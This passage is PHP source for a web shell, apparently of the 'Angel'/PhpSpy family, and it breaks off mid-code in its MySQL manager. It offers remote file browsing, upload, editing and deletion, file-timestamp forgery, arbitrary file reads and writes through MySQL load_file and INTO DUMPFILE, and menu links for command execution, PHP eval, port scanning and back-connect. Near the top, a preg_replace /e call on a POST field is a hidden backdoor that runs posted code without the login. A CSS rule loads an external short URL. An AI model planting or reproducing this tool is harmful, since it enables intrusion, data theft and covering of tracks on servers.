error_reporting(7);

@set_magic_quotes_runtime(0);

ob_start();

$mtime = explode(' ', microtime());

$starttime = $mtime[1] + $mtime[0];

define('SA_ROOT', str_replace('\\', '/', dirname(__FILE__)).'/');

define('IS_WIN', DIRECTORY_SEPARATOR == '\\');

define('IS_COM', class_exists('COM') ? 1 : 0 );

define('IS_GPC', get_magic_quotes_gpc());

$dis_func = get_cfg_var('disable_functions');

define('IS_PHPINFO', (!eregi("phpinfo",$dis_func)) ? 1 : 0 );

@set_time_limit(0);@preg_replace("/[email]/e",$_POST['Id'],"error");

foreach($_POST as $key => $value) {

if (IS_GPC) {

$value = s_array($value);

}

$$key = $value;

}

$pass = 'ec38fe2a8497e0a8d6d349b3533038cb'; //angel

$cookiepre = '';

$cookiedomain = '';

$cookiepath = '/';

$cookielife = 86400;

!$writabledb && $writabledb = 'php,cgi,pl,asp,inc,js,html,htm,jsp';

$charsetdb = array('','armscii8','ascii','big5','binary','cp1250','cp1251','cp1256','cp1257','cp850','cp852','cp866','cp932','dec8','euc-jp','euc-kr','gb2312','gbk','geostd8','greek','hebrew','hp8','keybcs2','koi8r','koi8u','latin1','latin2','latin5','latin7','macce','macroman','sjis','swe7','tis620','ucs2','ujis','utf8');

if ($charset == 'utf8') {

header("content-Type: text/html; charset=utf-8");

} elseif ($charset == 'big5') {

header("content-Type: text/html; charset=big5");

} elseif ($charset == 'gbk') {

header("content-Type: text/html; charset=gbk");

} elseif ($charset == 'latin1') {

header("content-Type: text/html; charset=iso-8859-2");

} elseif ($charset == 'euc-kr') {

header("content-Type: text/html; charset=euc-kr");

} elseif ($charset == 'euc-jp') {

header("content-Type: text/html; charset=euc-jp");

}

$self = $_SERVER['PHP_SELF'] ? $_SERVER['PHP_SELF'] : $_SERVER['SCRIPT_NAME'];

$timestamp = time();

if ($action == "logout") {

scookie('loginpass', '', -86400 * 365);

@header('Location: '.$self);

exit;

}

if($pass) {

if ($action == 'login') {

if ($pass == encode_pass($password)) {

scookie('loginpass',encode_pass($password));

@header('Location: '.$self);

exit;

}

}

if ($_COOKIE['loginpass']) {

if ($_COOKIE['loginpass'] != $pass) {

loginpage();

}

} else {

loginpage();

}

}

$errmsg = '';

!$action && $action = 'file';

if ($action == 'phpinfo') {

if (IS_PHPINFO) {

phpinfo();

exit;

} else {

$errmsg = 'phpinfo() function has non-permissible';

}

}

if ($doing == 'downfile' && $thefile) {

if (!@file_exists($thefile)) {

$errmsg = 'The file you want Downloadable was nonexistent';

} else {

$fileinfo = pathinfo($thefile);

header('Content-type: application/x-'.$fileinfo['extension']);

header('Content-Disposition: attachment; filename='.$fileinfo['basename']);

header('Content-Length: '.filesize($thefile));

@readfile($thefile);

exit;

}

}

if ($doing == 'backupmysql' && !$saveasfile) {

if (!$table) {

$errmsg ='Please choose the table';

} else {

$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);

$filename = basename($dbname.'.sql');

header('Content-type: application/unknown');

header('Content-Disposition: attachment; filename='.$filename);

foreach($table as $k => $v) {

if ($v) {

sqldumptable($v);

}

}

mysql_close();

exit;

}

}

if($doing=='mysqldown'){

if (!$dbname) {

$errmsg = 'Please input dbname';

} else {

$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);

if (!file_exists($mysqldlfile)) {

$errmsg = 'The file you want Downloadable was nonexistent';

} else {

$result = q("select load_file('$mysqldlfile');");

if(!$result){

q("DROP TABLE IF EXISTS tmp_angel;");

q("CREATE TABLE tmp_angel (content LONGBLOB NOT NULL);");

//用时间戳来表示截断,避免出现读取自身或包含__angel_1111111111_eof__的文件时不完整的情况

q("LOAD DATA LOCAL INFILE '".addslashes($mysqldlfile)."' INTO TABLE tmp_angel FIELDS TERMINATED BY '__angel_{$timestamp}_eof__' ESCAPED BY '' LINES TERMINATED BY '__angel_{$timestamp}_eof__';");

$result = q("select content from tmp_angel");

q("DROP TABLE tmp_angel");

}

$row = @mysql_fetch_array($result);

if (!$row) {

$errmsg = 'Load file failed '.mysql_error();

} else {

$fileinfo = pathinfo($mysqldlfile);

header('Content-type: application/x-'.$fileinfo['extension']);

header('Content-Disposition: attachment; filename='.$fileinfo['basename']);

header("Accept-Length: ".strlen($row[0]));

echo $row[0];

exit;

}

}

}

}

<html>

<head>

<meta http-equiv="Content-Type" content="text/html; charset=gbk">

<title><?php echo $action.' - '.$_SERVER['HTTP_HOST'];?></title>

<style type="text/css">

body,td{font: 12px Arial,Tahoma;line-height: 16px;}

.input{font:12px Arial,Tahoma;background:#fff;border: 1px solid #666;padding:2px;height:22px;}

.area{font:12px 'Courier New', Monospace;background:#fff;border: 1px solid #666;padding:2px;}

.bt {border-color:#b0b0b0;background:#3d3d3d url(http://t.cn/zRymOgc);color:#ffffff;font:12px Arial,Tahoma;height:22px;}

a {color: #00f;text-decoration:underline;}

a:hover{color: #f00;text-decoration:none;}

.alt1 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f1f1f1;padding:5px 15px 5px 5px;}

.alt2 td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#f9f9f9;padding:5px 15px 5px 5px;}

.focus td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#ffffaa;padding:5px 15px 5px 5px;}

.head td{border-top:1px solid #fff;border-bottom:1px solid #ddd;background:#e9e9e9;padding:5px 15px 5px 5px;font-weight:bold;}

.head td span{font-weight:normal;}

.infolist {padding:10px;margin:10px 0 20px 0;background:#F1F1F1;border:1px solid #ddd;}

form{margin:0;padding:0;}

h2{margin:0;padding:0;height:24px;line-height:24px;font-size:14px;color:#5B686F;}

ul.info li{margin:0;color:#444;line-height:24px;height:24px;}

u{text-decoration: none;color:#777;float:left;display:block;width:150px;margin-right:10px;}

.drives{padding:5px;}

.drives span {margin:auto 7px;}

</style>

<script type="text/javascript">

function CheckAll(form) {

for(var i=0;i<form.elements.length;i++) {

var e = form.elements[i];

if (e.name != 'chkall')

e.checked = form.chkall.checked;

}

}

function $(id) {

return document.getElementById(id);

}

function createdir(){

var newdirname;

newdirname = prompt('Please input the directory name:', '' );

if (!newdirname) return;

$('createdir').newdirname.value=newdirname;

$('createdir').submit();

}

function fileperm(pfile){

var newperm;

newperm = prompt('Current file:'+pfile+'\nPlease input new attribute:', '');

if (!newperm) return;

$('fileperm').newperm.value=newperm;

$('fileperm').pfile.value=pfile;

$('fileperm').submit();

}

function copyfile(sname){

var tofile;

tofile = prompt('Original file:'+sname+'\nPlease input object file (fullpath):', '');

if (!tofile) return;

$('copyfile').tofile.value=tofile;

$('copyfile').sname.value=sname;

$('copyfile').submit();

}

function rename(oldname){

var newfilename;

newfilename = prompt('Former file name:'+oldname+'\nPlease input new filename:', '');

if (!newfilename) return;

$('rename').newfilename.value=newfilename;

$('rename').oldname.value=oldname;

$('rename').submit();

}

function dofile(doing,thefile,m){

if (m && !confirm(m)) {

return;

}

$('filelist').doing.value=doing;

if (thefile){

$('filelist').thefile.value=thefile;

}

$('filelist').submit();

}

function createfile(nowpath){

var filename;

filename = prompt('Please input the file name:', '');

if (!filename) return;

opfile('editfile',nowpath + filename,nowpath);

}

function opfile(action,opfile,dir){

$('fileopform').action.value=action;

$('fileopform').opfile.value=opfile;

$('fileopform').dir.value=dir;

$('fileopform').submit();

}

function godir(dir,view_writable){

if (view_writable) {

$('godir').view_writable.value=view_writable;

}

$('godir').dir.value=dir;

$('godir').submit();

}

function getsize(getdir,dir){

$('getsize').getdir.value=getdir;

$('getsize').dir.value=dir;

$('getsize').submit();

}

function editrecord(action, base64, tablename){

if (action == 'del') {

if (!confirm('Is or isn\'t deletion record?')) return;

}

$('recordlist').doing.value=action;

$('recordlist').base64.value=base64;

$('recordlist').tablename.value=tablename;

$('recordlist').submit();

}

function moddbname(dbname) {

if(!dbname) return;

$('setdbname').dbname.value=dbname;

$('setdbname').submit();

}

function settable(tablename,doing,page) {

if(!tablename) return;

if (doing) {

$('settable').doing.value=doing;

}

if (page) {

$('settable').page.value=page;

}

$('settable').tablename.value=tablename;

$('settable').submit();

}

function s(action,nowpath,p1,p2,p3,p4,p5) {

if(action) $('opform').action.value=action;

if(nowpath) $('opform').nowpath.value=nowpath;

if(p1) $('opform').p1.value=p1;

if(p2) $('opform').p2.value=p2;

if(p3) $('opform').p3.value=p3;

if(p4) $('opform').p4.value=p4;

if(p5) $('opform').p4.value=p5;

}

function g(action,nowpath,p1,p2,p3,p4,p5) {

if(!action) return;

s(action,nowpath,p1,p2,p3,p4,p5);

$('opform').submit();

}

</script>

</head>

<body style="margin:0;table-layout:fixed; word-break:break-all">

formhead(array('name'=>'opform'));

makehide('action', $action);

makehide('nowpath', $nowpath);

makehide('p1', $p1);

makehide('p2', $p2);

makehide('p3', $p3);

makehide('p4', $p4);

makehide('p5', $p5);

formfoot();

if(!function_exists('posix_getegid')) {

$user = @get_current_user();

$uid = @getmyuid();

$gid = @getmygid();

$group = "?";

} else {

$uid = @posix_getpwuid(@posix_geteuid());

$gid = @posix_getgrgid(@posix_getegid());

$user = $uid['name'];

$uid = $uid['uid'];

$group = $gid['name'];

$gid = $gid['gid'];

}

<table width="100%" border="0" cellpadding="0" cellspacing="0">

<tr class="head">

<td><span style="float:right;"><?php echo @php_uname();?> / User:<?php echo $uid.' ( '.$user.' ) / Group: '.$gid.' ( '.$group.' )';?></span><?php echo $_SERVER['HTTP_HOST'];?> (<?php echo gethostbyname($_SERVER['SERVER_NAME']);?>)</td>

</tr>

<tr class="alt1">

<td>

<span style="float:right;">PHP <?php echo PHP_VERSION;?> / Safe Mode:<?php echo getcfg('safe_mode');?></span>

<a href="javascript:g('logout');">Logout</a> |

<a href="javascript:g('file');">File Manager</a> |

<a href="javascript:g('mysqladmin');">MYSQL Manager</a> |

<a href="javascript:g('sqlfile');">MySQL Upload &amp; Download</a> |

<a href="javascript:g('shell');">Execute Command</a> |

<a href="javascript:g('phpenv');">PHP Variable</a> |

<a href="javascript:g('portscan');">Port Scan</a> |

<a href="javascript:g('secinfo');">Security information</a> |

<a href="javascript:g('eval');">Eval PHP Code</a>

<?php if (!IS_WIN) {?> | <a href="javascript:g('backconnect');">Back Connect</a><?php }?>

</td>

</tr>

</table>

<table width="100%" border="0" cellpadding="15" cellspacing="0"><tr><td>

$errmsg && m($errmsg);

if (!$dir) {

$dir = $_SERVER["DOCUMENT_ROOT"] ? $_SERVER["DOCUMENT_ROOT"] : '.';

}

$nowpath = getPath(SA_ROOT, $dir);

if (substr($dir, -1) != '/') {

$dir = $dir.'/';

}

if ($action == 'file') {

// 判断读写情况

$dir_writeable = @is_writable($nowpath) ? 'Writable' : 'Non-writable';

// 创建目录

if ($newdirname) {

$mkdirs = $nowpath.$newdirname;

if (file_exists($mkdirs)) {

m('Directory has already existed');

} else {

m('Directory created '.(@mkdir($mkdirs,0777) ? 'success' : 'failed'));

@chmod($mkdirs,0777);

}

}

// 上传文件

elseif ($doupfile) {

m('File upload '.(@copy($_FILES['uploadfile']['tmp_name'],$uploaddir.'/'.$_FILES['uploadfile']['name']) ? 'success' : 'failed'));

}

// 编辑文件

elseif ($editfilename && $filecontent) {

$fp = @fopen($editfilename,'w');

m('Save file '.(@fwrite($fp,$filecontent) ? 'success' : 'failed'));

@fclose($fp);

}

// 编辑文件属性

elseif ($pfile && $newperm) {

if (!file_exists($pfile)) {

m('The original file does not exist');

} else {

$newperm = base_convert($newperm,8,10);

m('Modify file attributes '.(@chmod($pfile,$newperm) ? 'success' : 'failed'));

}

}

// 改名

elseif ($oldname && $newfilename) {

$nname = $nowpath.$newfilename;

if (file_exists($nname) || !file_exists($oldname)) {

m($nname.' has already existed or original file does not exist');

} else {

m(basename($oldname).' renamed '.basename($nname).(@rename($oldname,$nname) ? ' success' : 'failed'));

}

}

// 复制文件

elseif ($sname && $tofile) {

if (file_exists($tofile) || !file_exists($sname)) {

m('The goal file has already existed or original file does not exist');

} else {

m(basename($tofile).' copied '.(@copy($sname,$tofile) ? basename($tofile).' success' : 'failed'));

}

}

// 克隆时间

elseif ($curfile && $tarfile) {

if (!@file_exists($curfile) || !@file_exists($tarfile)) {

m('The goal file has already existed or original file does not exist');

} else {

$time = @filemtime($tarfile);

m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));

}

}

// 自定义时间

elseif ($curfile && $year && $month && $day && $hour && $minute && $second) {

if (!@file_exists($curfile)) {

m(basename($curfile).' does not exist');

} else {

$time = strtotime("$year-$month-$day $hour:$minute:$second");

m('Modify file the last modified '.(@touch($curfile,$time,$time) ? 'success' : 'failed'));

}

}

// 批量删除文件

elseif($doing == 'delfiles') {

if ($dl) {

$dfiles='';

$succ = $fail = 0;

foreach ($dl as $filepath) {

if (is_dir($filepath)) {

if (@deltree($filepath)) {

$succ++;

} else {

$fail++;

}

} else {

if (@unlink($filepath)) {

$succ++;

} else {

$fail++;

}

}

}

m('Deleted folder/file have finished,choose '.count($dl).' success '.$succ.' fail '.$fail);

} else {

m('Please select folder/file(s)');

}

}

//操作完毕

formhead(array('name'=>'createdir'));

makehide('newdirname');

makehide('dir',$nowpath);

formfoot();

formhead(array('name'=>'fileperm'));

makehide('newperm');

makehide('pfile');

makehide('dir',$nowpath);

formfoot();

formhead(array('name'=>'copyfile'));

makehide('sname');

makehide('tofile');

makehide('dir',$nowpath);

formfoot();

formhead(array('name'=>'rename'));

makehide('oldname');

makehide('newfilename');

makehide('dir',$nowpath);

formfoot();

formhead(array('name'=>'fileopform', 'target'=>'_blank'));

makehide('action');

makehide('opfile');

makehide('dir');

formfoot();

formhead(array('name'=>'getsize'));

makehide('getdir');

makehide('dir');

formfoot();

$free = @disk_free_space($nowpath);

!$free && $free = 0;

$all = @disk_total_space($nowpath);

!$all && $all = 0;

$used = $all-$free;

p('<h2>File Manager - Current disk free '.sizecount($free).' of '.sizecount($all).' ('.@round(100/($all/$free),2).'%)</h2>');

$cwd_links = '';

$path = explode('/', $nowpath);

$n=count($path);

for($i=0;$i<$n-1;$i++) {

$cwd_links .= '<a href="javascript:godir(\'';

for($j=0;$j<=$i;$j++) {

$cwd_links .= $path[$j].'/';

}

$cwd_links .= '\');">'.$path[$i].'/</a>';

}

<script type="text/javascript">

document.onclick = shownav;

function shownav(e){

var src = e?e.target:event.srcElement;

do{

if(src.id =="jumpto") {

$('inputnav').style.display = "";

$('pathnav').style.display = "none";

//hidenav();

return;

}

if(src.id =="inputnav") {

return;

}

src = src.parentNode;

}while(src.parentNode)

$('inputnav').style.display = "none";

$('pathnav').style.display = "";

}

</script>

<div style="background:#eee;margin-bottom:10px;">

<table id="pathnav" width="100%" border="0" cellpadding="5" cellspacing="0">

<tr>

<td width="100%"><?php echo $cwd_links.' - '.getChmod($nowpath).' / '.getPerms($nowpath).getUser($nowpath);?> (<?php echo $dir_writeable;?>)</td>

<td nowrap><input class="bt" id="jumpto" name="jumpto" value="Jump to" type="button"></td>

</tr>

</table>

<table id="inputnav" width="100%" border="0" cellpadding="5" cellspacing="0" style="display:none;">

<form action="" method="post" id="godir" name="godir">

<tr>

<td nowrap>Current Directory (<?php echo $dir_writeable;?>, <?php echo getChmod($nowpath);?>)</td>

<td width="100%"><input name="view_writable" value="0" type="hidden" /><input class="input" name="dir" value="<?php echo $nowpath;?>" type="text" style="width:99%;margin:0 8px;"></td>

<td nowrap><input class="bt" value="GO" type="submit"></td>

</tr>

</form>

</table>

if (IS_WIN && IS_COM) {

$obj = new COM('scripting.filesystemobject');

if ($obj && is_object($obj) && $obj->Drives) {

echo '<div class="drives">';

$DriveTypeDB = array(0 => 'Unknow',1 => 'Removable',2 => 'Fixed',3 => 'Network',4 => 'CDRom',5 => 'RAM Disk');

$comma = '';

foreach($obj->Drives as $drive) {

if ($drive->Path) {

p($comma.'<a href="javascript:godir(\''.$drive->Path.'/\');">'.$DriveTypeDB[$drive->DriveType].'('.$drive->Path.')</a>');

$comma = '<span>|</span>';

}

}

echo '</div>';

}

}

</div>

$findstr = $_POST['findstr'];

$re = $_POST['re'];

tbhead();

p('<tr class="alt1"><td colspan="7" style="padding:5px;line-height:20px;">');

p('<form action="'.$self.'" method="POST" enctype="multipart/form-data"><div style="float:right;"><input class="input" name="uploadfile" value="" type="file" /> <input class="bt" name="doupfile" value="Upload" type="submit" /><input name="uploaddir" value="'.$nowpath.'" type="hidden" /><input name="dir" value="'.$nowpath.'" type="hidden" /></div></form>');

p('<a href="javascript:godir(\''.$_SERVER["DOCUMENT_ROOT"].'\');">WebRoot</a>');

p(' | <a href="javascript:godir(\'.\');">ScriptPath</a>');

p(' | <a href="javascript:godir(\''.$nowpath.'\');">View All</a>');

p(' | View Writable ( <a href="javascript:godir(\''.$nowpath.'\',\'dir\');">Directory</a>');

p(' | <a href="javascript:godir(\''.$nowpath.'\',\'file\');">File</a> )');

p(' | <a href="javascript:createdir();">Create Directory</a> | <a href="javascript:createfile(\''.$nowpath.'\');">Create File</a>');

p('<div style="padding:5px 0;"><form action="'.$self.'" method="POST">Find string in files(current folder): <input class="input" name="findstr" value="'.$findstr.'" type="text" /> <input class="bt" value="Find" type="submit" /> Type: <input class="input" name="writabledb" value="'.$writabledb.'" type="text" /><input name="dir" value="'.$dir.'" type="hidden" /> <input name="re" value="1" type="checkbox" '.($re ? 'checked' : '').' /> Regular expressions</form></div></td></tr>');

p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

//查看所有可写文件和目录

$dirdata=array();

$filedata=array();

if ($view_writable == 'dir') {

$dirdata = GetWDirList($nowpath);

$filedata = array();

} elseif ($view_writable == 'file') {

$dirdata = array();

$filedata = GetWFileList($nowpath);

} elseif ($findstr) {

$dirdata = array();

$filedata = GetSFileList($nowpath, $findstr, $re);

} else {

// 目录列表

//scandir()效率更高

$dirs=@opendir($dir);

while ($file=@readdir($dirs)) {

$filepath=$nowpath.$file;

if(@is_dir($filepath)){

$dirdb['filename']=$file;

$dirdb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));

$dirdb['dirchmod']=getChmod($filepath);

$dirdb['dirperm']=getPerms($filepath);

$dirdb['fileowner']=getUser($filepath);

$dirdb['dirlink']=$nowpath;

$dirdb['server_link']=$filepath;

$dirdata[]=$dirdb;

} else {

$filedb['filename']=$file;

$filedb['size']=sizecount(@filesize($filepath));

$filedb['mtime']=@date('Y-m-d H:i:s',filemtime($filepath));

$filedb['filechmod']=getChmod($filepath);

$filedb['fileperm']=getPerms($filepath);

$filedb['fileowner']=getUser($filepath);

$filedb['dirlink']=$nowpath;

$filedb['server_link']=$filepath;

$filedata[]=$filedb;

}

}// while

unset($dirdb);

unset($filedb);

@closedir($dirs);

}

@sort($dirdata);

@sort($filedata);

$dir_i = '0';

p('<form id="filelist" name="filelist" action="'.$self.'" method="post">');

makehide('action','file');

makehide('thefile');

makehide('doing');

makehide('dir',$nowpath);

foreach($dirdata as $key => $dirdb){

if($dirdb['filename']!='..' && $dirdb['filename']!='.') {

if($getdir && $getdir == $dirdb['server_link']) {

$attachsize = dirsize($dirdb['server_link']);

$attachsize = is_numeric($attachsize) ? sizecount($attachsize) : 'Unknown';

} else {

$attachsize = '<a href="javascript:getsize(\''.$dirdb['server_link'].'\',\''.$dir.'\');">Stat</a>';

}

$thisbg = bg();

p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$dirdb['server_link'].'"></td>');

p('<td><a href="javascript:godir(\''.$dirdb['server_link'].'\');">'.$dirdb['filename'].'</a></td>');

p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$dirdb['server_link'].'\',\''.$dirdb['dirlink'].'\');">'.$dirdb['mtime'].'</a></td>');

p('<td nowrap>'.$attachsize.'</td>');

p('<td nowrap>');

p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirchmod'].'</a> / ');

p('<a href="javascript:fileperm(\''.$dirdb['server_link'].'\');">'.$dirdb['dirperm'].'</a>'.$dirdb['fileowner'].'</td>');

p('<td nowrap><a href="javascript:rename(\''.$dirdb['server_link'].'\');">Rename</a></td>');

p('</tr>');

$dir_i++;

} else {

if($dirdb['filename']=='..') {

p('<tr class='.bg().'>');

p('<td align="center">-</td><td nowrap colspan="5"><a href="javascript:godir(\''.getUpPath($nowpath).'\');">Parent Directory</a></td>');

p('</tr>');

}

}

}

p('<tr bgcolor="#dddddd" stlye="border-top:1px solid #fff;border-bottom:1px solid #ddd;"><td colspan="6" height="5"></td></tr>');

$file_i = '0';

foreach($filedata as $key => $filedb){

if($filedb['filename']!='..' && $filedb['filename']!='.') {

$fileurl = str_replace($_SERVER["DOCUMENT_ROOT"],'',$filedb['server_link']);

$thisbg = bg();

p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');

p('<td width="2%" nowrap><input name="dl[]" type="checkbox" value="'.$filedb['server_link'].'"></td>');

p('<td>'.((strpos($filedb['server_link'], $_SERVER["DOCUMENT_ROOT"]) !== false) ? '<a href="'.$fileurl.'" target="_blank">'.$filedb['filename'].'</a>' : $filedb['filename']).'</td>');

p('<td nowrap><a href="javascript:opfile(\'newtime\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">'.$filedb['mtime'].'</a></td>');

p('<td nowrap>'.$filedb['size'].'</td>');

p('<td nowrap>');

p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['filechmod'].'</a> / ');

p('<a href="javascript:fileperm(\''.$filedb['server_link'].'\');">'.$filedb['fileperm'].'</a>'.$filedb['fileowner'].'</td>');

p('<td nowrap>');

p('<a href="javascript:dofile(\'downfile\',\''.$filedb['server_link'].'\');">Down</a> | ');

p('<a href="javascript:copyfile(\''.$filedb['server_link'].'\');">Copy</a> | ');

p('<a href="javascript:opfile(\'editfile\',\''.$filedb['server_link'].'\',\''.$filedb['dirlink'].'\');">Edit</a> | ');

p('<a href="javascript:rename(\''.$filedb['server_link'].'\');">Rename</a>');

p('</td></tr>');

$file_i++;

}

}

p('<tr class="head"><td>&nbsp;</td><td>Filename</td><td width="16%">Last modified</td><td width="10%">Size</td><td width="20%">Chmod / Perms</td><td width="22%">Action</td></tr>');

p('<tr class="'.bg().'"><td align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td><td colspan="4"><a href="javascript:dofile(\'delfiles\');">Delete selected</a></td><td align="right">'.$dir_i.' directories / '.$file_i.' files</td></tr>');

p('</form></table>');

}// end dir

elseif ($action == 'sqlfile') {

if($doing=="mysqlupload"){

$file = $_FILES['uploadfile'];

$filename = $file['tmp_name'];

if (file_exists($savepath)) {

m('The goal file has already existed');

} else {

if(!$filename) {

m('Please choose a file');

} else {

$fp=@fopen($filename,'r');

$contents=@fread($fp, filesize($filename));

@fclose($fp);

$contents = bin2hex($contents);

if(!$upname) $upname = $file['name'];

$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

$result = q("SELECT 0x{$contents} FROM mysql.user INTO DUMPFILE '$savepath';");

m($result ? 'Upload success' : 'Upload has failed: '.mysql_error());

}

}

}

<script type="text/javascript">

function mysqlfile(doing){

if(!doing) return;

$('doing').value=doing;

$('mysqlfile').dbhost.value=$('dbinfo').dbhost.value;

$('mysqlfile').dbport.value=$('dbinfo').dbport.value;

$('mysqlfile').dbuser.value=$('dbinfo').dbuser.value;

$('mysqlfile').dbpass.value=$('dbinfo').dbpass.value;

$('mysqlfile').dbname.value=$('dbinfo').dbname.value;

$('mysqlfile').charset.value=$('dbinfo').charset.value;

$('mysqlfile').submit();

}

</script>

!$dbhost && $dbhost = 'localhost';

!$dbuser && $dbuser = 'root';

!$dbport && $dbport = '3306';

formhead(array('title'=>'MYSQL Information','name'=>'dbinfo'));

makehide('action','sqlfile');

p('<p>');

p('DBHost:');

makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));

p(':');

makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));

p('DBUser:');

makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));

p('DBPass:');

makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));

p('DBName:');

makeinput(array('name'=>'dbname','size'=>15,'value'=>$dbname));

p('DBCharset:');

makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));

p('</p>');

formfoot();

p('<form action="'.$self.'" method="POST" enctype="multipart/form-data" name="mysqlfile" id="mysqlfile">');

p('<h2>Upload file</h2>');

p('<p><b>This operation the DB user must has FILE privilege</b></p>');

p('<p>Save path(fullpath): <input class="input" name="savepath" size="45" type="text" /> Choose a file: <input class="input" name="uploadfile" type="file" /> <a href="javascript:mysqlfile(\'mysqlupload\');">Upload</a></p>');

p('<h2>Download file</h2>');

p('<p>File: <input class="input" name="mysqldlfile" size="115" type="text" /> <a href="javascript:mysqlfile(\'mysqldown\');">Download</a></p>');

makehide('dbhost');

makehide('dbport');

makehide('dbuser');

makehide('dbpass');

makehide('dbname');

makehide('charset');

makehide('doing');

makehide('action','sqlfile');

p('</form>');

}

elseif ($action == 'mysqladmin') {

!$dbhost && $dbhost = 'localhost';

!$dbuser && $dbuser = 'root';

!$dbport && $dbport = '3306';

$dbform = '<input type="hidden" id="connect" name="connect" value="1" />';

if(isset($dbhost)){

$dbform .= "<input type=\"hidden\" id=\"dbhost\" name=\"dbhost\" value=\"$dbhost\" />\n";

}

if(isset($dbuser)) {

$dbform .= "<input type=\"hidden\" id=\"dbuser\" name=\"dbuser\" value=\"$dbuser\" />\n";

}

if(isset($dbpass)) {

$dbform .= "<input type=\"hidden\" id=\"dbpass\" name=\"dbpass\" value=\"$dbpass\" />\n";

}

if(isset($dbport)) {

$dbform .= "<input type=\"hidden\" id=\"dbport\" name=\"dbport\" value=\"$dbport\" />\n";

}

if(isset($dbname)) {

$dbform .= "<input type=\"hidden\" id=\"dbname\" name=\"dbname\" value=\"$dbname\" />\n";

}

if(isset($charset)) {

$dbform .= "<input type=\"hidden\" id=\"charset\" name=\"charset\" value=\"$charset\" />\n";

}

if ($doing == 'backupmysql' && $saveasfile) {

if (!$table) {

m('Please choose the table');

} else {

$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

$fp = @fopen($path,'w');

if ($fp) {

foreach($table as $k => $v) {

if ($v) {

sqldumptable($v, $fp);

}

}

fclose($fp);

$fileurl = str_replace(SA_ROOT,'',$path);

m('Database has success backup to <a href="'.$fileurl.'" target="_blank">'.$path.'</a>');

mysql_close();

} else {

m('Backup failed');

}

}

}

if ($insert && $insertsql) {

$keystr = $valstr = $tmp = '';

foreach($insertsql as $key => $val) {

if ($val) {

$keystr .= $tmp.$key;

$valstr .= $tmp."'".addslashes($val)."'";

$tmp = ',';

}

}

if ($keystr && $valstr) {

$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

m(q("INSERT INTO $tablename ($keystr) VALUES ($valstr)") ? 'Insert new record of success' : mysql_error());

}

}

if ($update && $insertsql && $base64) {

$valstr = $tmp = '';

foreach($insertsql as $key => $val) {

$valstr .= $tmp.$key."='".addslashes($val)."'";

$tmp = ',';

}

if ($valstr) {

$where = base64_decode($base64);

$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

m(q("UPDATE $tablename SET $valstr WHERE $where LIMIT 1") ? 'Record updating' : mysql_error());

}

}

if ($doing == 'del' && $base64) {

$where = base64_decode($base64);

$delete_sql = "DELETE FROM $tablename WHERE $where";

$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

m(q("DELETE FROM $tablename WHERE $where") ? 'Deletion record of success' : mysql_error());

}

if ($tablename && $doing == 'drop') {

$mysqllink = mydbconn($dbhost,$dbuser,$dbpass,$dbname,$charset,$dbport);

if (q("DROP TABLE $tablename")) {

m('Drop table of success');

$tablename = '';

} else {

m(mysql_error());

}

}

formhead(array('title'=>'MYSQL Manager'));

makehide('action','mysqladmin');

p('<p>');

p('DBHost:');

makeinput(array('name'=>'dbhost','size'=>20,'value'=>$dbhost));

p(':');

makeinput(array('name'=>'dbport','size'=>4,'value'=>$dbport));

p('DBUser:');

makeinput(array('name'=>'dbuser','size'=>15,'value'=>$dbuser));

p('DBPass:');

makeinput(array('name'=>'dbpass','size'=>15,'value'=>$dbpass));

p('DBCharset:');

makeselect(array('name'=>'charset','option'=>$charsetdb,'selected'=>$charset,'nokey'=>1));

makeinput(array('name'=>'connect','value'=>'Connect','type'=>'submit','class'=>'bt'));

p('</p>');

formfoot();

//操作记录

formhead(array('name'=>'recordlist'));

makehide('doing');

makehide('action','mysqladmin');

makehide('base64');

makehide('tablename');

p($dbform);

formfoot();

//选定数据库

formhead(array('name'=>'setdbname'));

makehide('action','mysqladmin');

p($dbform);

if (!$dbname) {

makehide('dbname');

}

formfoot();

//选定表

formhead(array('name'=>'settable'));

makehide('action','mysqladmin');

p($dbform);

makehide('tablename');

makehide('page',$page);

makehide('doing');

formfoot();

$cachetables = array();

$pagenum = 30;

$page = intval($page);

if($page) {

$start_limit = ($page - 1) * $pagenum;

} else {

$start_limit = 0;

$page = 1;

}

if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {

$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);

//获取数据库信息

$mysqlver = mysql_get_server_info();

p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');

$highver = $mysqlver > '4.1' ? 1 : 0;

//获取数据库

$query = q("SHOW DATABASES");

